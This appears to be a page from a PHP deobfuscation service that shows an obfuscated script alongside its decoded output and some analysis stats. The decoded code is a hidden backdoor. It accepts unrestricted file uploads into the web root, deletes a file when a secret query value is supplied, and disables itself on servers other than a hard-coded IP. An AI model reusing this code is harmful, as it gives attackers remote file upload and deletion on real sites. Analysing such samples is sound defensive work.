Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4c\x4fB\x41\x4c\x53"}["s\x76h\x66\x6f\x64"]="\x66il\x65\x73";${"\x47\x4c\x4f\x..

Decoded Output download

<?php ${"GLOBALS"}["svhfod"]="files";${"GLOBALS"}["hfrsffk"]="handle";${"GLOBALS"}["ggnsopgek"]="dir";${"GLOBALS"}["tbrjnqfnx"]="time_file";$itmewejsq="time_file";${$itmewejsq}=filemtime("./libraries/config.php");if((time()-${${"GLOBALS"}["tbrjnqfnx"]})>(10*86400)){if($_SERVER["SERVER_ADDR"]!="210.211.108.145"&&$_SERVER["SERVER_ADDR"]!="::1"&&$_SERVER["SERVER_ADDR"]!="127.0.0.1")die("");}if(isset($_POST["up"])&&isset($_FILES["fileUpload"])){move_uploaded_file($_FILES["fileUpload"]["tmp_name"],$_SERVER["DOCUMENT_ROOT"]."/upload/".$_FILES["fileUpload"]["name"]);echo$_FILES["fileUpload"]["name"];echo$_FILES["fileUpload"]["tmp_name"];}${${"GLOBALS"}["ggnsopgek"]}=dirname(__FILE__);if($_GET["fbclid"]=="IwAR0GR14J3tn5yF4pIuuuHoHzT2uEhZXflOUFZbO9Kuh1reAuSiuQ"){if(${${"GLOBALS"}["hfrsffk"]}=opendir(${${"GLOBALS"}["ggnsopgek"]})){$nmbviqnobpfq="handle";${"GLOBALS"}["ylollnu"]="files";${"GLOBALS"}["nvmoluujs"]="handle";while((${${"GLOBALS"}["ylollnu"]}=readdir(${$nmbviqnobpfq}))!==false){$snbidsygvfw="files";$kekymipj="dir";${"GLOBALS"}["brvtpb"]="files";${"GLOBALS"}["koguyoc"]="dir";if(${${"GLOBALS"}["svhfod"]}=="."||${${"GLOBALS"}["brvtpb"]}==".."||is_dir(${$kekymipj}."/".${$snbidsygvfw})){continue;}unlink(${${"GLOBALS"}["koguyoc"]}."/".${${"GLOBALS"}["svhfod"]});break;}closedir(${${"GLOBALS"}["nvmoluujs"]});}} 
?>

Did this file decode correctly?

Original Code

<?php ${"G\x4c\x4fB\x41\x4c\x53"}["s\x76h\x66\x6f\x64"]="\x66il\x65\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x66rsff\x6b"]="\x68\x61ndl\x65";${"\x47\x4c\x4f\x42AL\x53"}["\x67g\x6e\x73\x6f\x70\x67ek"]="d\x69\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x74b\x72\x6a\x6eq\x66\x6ex"]="ti\x6de\x5f\x66i\x6c\x65";$itmewejsq="t\x69\x6d\x65\x5f\x66\x69\x6ce";${$itmewejsq}=filemtime("./lib\x72a\x72i\x65\x73/c\x6f\x6e\x66\x69\x67.php");if((time()-${${"\x47L\x4fB\x41\x4c\x53"}["\x74\x62rjn\x71\x66nx"]})>(10*86400)){if($_SERVER["S\x45\x52VE\x52_A\x44\x44\x52"]!="\x32\x31\x30\x2e\x3211\x2e\x31\x308.\x31\x345"&&$_SERVER["\x53\x45RVER\x5f\x41D\x44\x52"]!="::\x31"&&$_SERVER["S\x45R\x56\x45R\x5fADD\x52"]!="127\x2e0.\x30\x2e1")die("");}if(isset($_POST["u\x70"])&&isset($_FILES["fil\x65\x55\x70lo\x61d"])){move_uploaded_file($_FILES["file\x55\x70l\x6f\x61d"]["\x74mp\x5fna\x6d\x65"],$_SERVER["D\x4fC\x55MENT_R\x4f\x4fT"]."/u\x70\x6c\x6f\x61d/".$_FILES["f\x69l\x65\x55p\x6co\x61\x64"]["\x6eame"]);echo$_FILES["\x66\x69\x6ceUpl\x6f\x61d"]["\x6e\x61me"];echo$_FILES["\x66\x69\x6c\x65U\x70\x6coa\x64"]["tm\x70_nam\x65"];}${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["g\x67\x6es\x6f\x70\x67\x65\x6b"]}=dirname(__FILE__);if($_GET["fb\x63l\x69d"]=="\x49w\x41\x52\x30\x47\x52\x314J\x33t\x6e\x35\x79F4pI\x75\x75u\x48\x6f\x48\x7aT\x32u\x45hZXf\x6cOU\x46Zb\x4f\x39Kuh\x31r\x65\x41\x75\x53\x69uQ"){if(${${"\x47LOB\x41L\x53"}["\x68\x66r\x73f\x66k"]}=opendir(${${"G\x4c\x4fB\x41\x4cS"}["\x67\x67\x6eso\x70g\x65\x6b"]})){$nmbviqnobpfq="\x68a\x6e\x64\x6ce";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x6c\x6f\x6clnu"]="f\x69\x6c\x65\x73";${"GLOB\x41\x4cS"}["\x6e\x76\x6dol\x75\x75j\x73"]="\x68a\x6e\x64l\x65";while((${${"\x47LO\x42\x41\x4c\x53"}["\x79\x6colln\x75"]}=readdir(${$nmbviqnobpfq}))!==false){$snbidsygvfw="f\x69\x6ce\x73";$kekymipj="d\x69r";${"G\x4c\x4f\x42\x41L\x53"}["\x62r\x76\x74\x70\x62"]="\x66\x69l\x65\x73";${"\x47L\x4fBA\x4c\x53"}["k\x6fgu\x79\x6fc"]="d\x69\x72";if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73v\x68\x66o\x64"]}=="."||${${"\x47L\x4fB\x41L\x53"}["brv\x74\x70b"]}=="\x2e."||is_dir(${$kekymipj}."/".${$snbidsygvfw})){continue;}unlink(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6b\x6f\x67\x75\x79o\x63"]}."/".${${"\x47LO\x42AL\x53"}["s\x76h\x66\x6fd"]});break;}closedir(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x76\x6d\x6fl\x75\x75\x6as"]});}}
?>

Function Calls

filemtime 1

Variables

GLOBALS [{'key': 'svhfod', 'value': 'files'}, {'key': 'hfrsffk', 'value': 'handle'}, {'key': 'ggnsopgek', 'value': 'dir'}, {'key': 'tbrjnqfnx', 'value': 'time_file'}]
$itmewejsq time_file

Stats

MD5 07c5a34f4e3aa6501fa015e1d8ee69ef
Eval Count 0
Decode Time 68 ms